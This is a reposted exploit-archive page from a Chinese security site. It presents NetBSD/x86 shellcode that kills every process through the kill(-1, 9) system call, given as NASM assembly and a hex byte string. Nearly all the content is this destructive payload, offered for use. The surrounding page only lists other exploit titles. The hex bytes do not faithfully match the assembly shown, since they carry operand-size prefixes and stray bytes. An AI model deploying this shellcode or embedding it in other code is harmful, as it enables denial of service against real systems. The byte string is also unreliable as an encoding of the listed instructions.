首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
NetBSD/x86 kill all processes shellcode
来源:teo.manojlovic[at]skole.hr 作者:Manojlovic 发布时间:2009-06-22  
/*

netbsd/x86 kill all processes shellcode
author Teo Manojlovic 
contact teo.manojlovic@skole.hr
this shellcode is using syscall number 37 or 0x25
37      STD             { int sys_kill(int pid, int signum); }


here is assembler code using intel syntaxe and NASM
--------------begin-----------

section .note.netbsd.ident
 	dd	0x07,0x04,0x01
 	db	"NetBSD",0x00,0x00
 	dd	200000000
 
 
 section .data

 section .text
 	global _start
 
 _start:
xor eax, eax
push 0x09
mov eax, -1
push eax
xor eax,eax
mov al, 37 
push eax
int 0x80
-------------------------end------------

if we dissasemble this code wi will get shellcode
"\x66\x31\xc0\x68\x09\x00\x66\xb8\xff\xff\xff\xff\x66\x50\x66\x31\xc0\xb0\x25\x66\x50\xcd\x80"
*/




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Safari on the Apple iPhone suf
·Multiple Exploiting IE8/IE7 XS
·PHP version 5.2.10 has an inva
·PEEL E-Commerce suffers from a
·Edraw PDF Viewer Component < 3
·Safari 3.2.3 Arbitrary Code Ex
·DESlock+ 4.0.2 dlpcrypt.sys Lo
·pmaPWN! - phpMyAdmin Code Inje
·compface <= 1.5.2 (XBM File) L
·Multiple HTTP Server Low Bandw
·FretsWeb 1.2 (name) Remote Bli
·MyBB <= 1.4.6 Remote Code Exec
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved